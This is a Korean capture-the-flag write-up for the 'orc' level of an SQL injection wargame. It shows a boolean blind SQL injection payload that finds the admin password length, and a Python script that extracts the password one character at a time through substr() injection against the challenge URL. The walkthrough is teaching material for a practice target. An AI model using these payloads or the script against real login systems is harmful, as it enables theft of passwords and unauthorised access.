- 입력한 pw값과 실제 pw가 일치해야 문제를 해결할 수 있다.
- 특별한 필터링은 없다.
pw가 올바른지 검사하는 부분이 존재한다. 따라서 단순히 우회하여 admin계정을 탈취하는 것이 아니라 정확한 pw를 알아내야 한다.
?pw=aaa' or id='admin' and length(pw) = 8%23
length함수를 이용하면 pw의 길이를 찾을 수 있다.
length가 8일 때 "Hello admin"이 출력된 것을 보아 pw의 길이는 8이다.
길이를 구하면 이제 한 글자씩 비교하면서 pw를 구할 수 있다.
다음과 같은 함수를 사용할 수 있다.
- substr()
- substring()
- mid
- left
- right
직접 하나씩 입력해도 되지만 시간이 오래 걸리므로 자동화 코드를 작성하면 편하게 pw를 구할 수 있다.
import requests
cookie = {'PHPSESSID': '사용자세션'}
address = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
answer = ''
for i in range(1,9):
for j in string:
url = f"{address}?pw=' or id='admin' and substr(pw,{i},1) = '{j}'%23"
res = requests.get(url, cookies=cookie)
print(j)
if "Hello admin" in res.text:
answer += j
print(f'[+] Find : {answer}')
break
구한 pw를 입력하면 문제를 해결할 수 있다.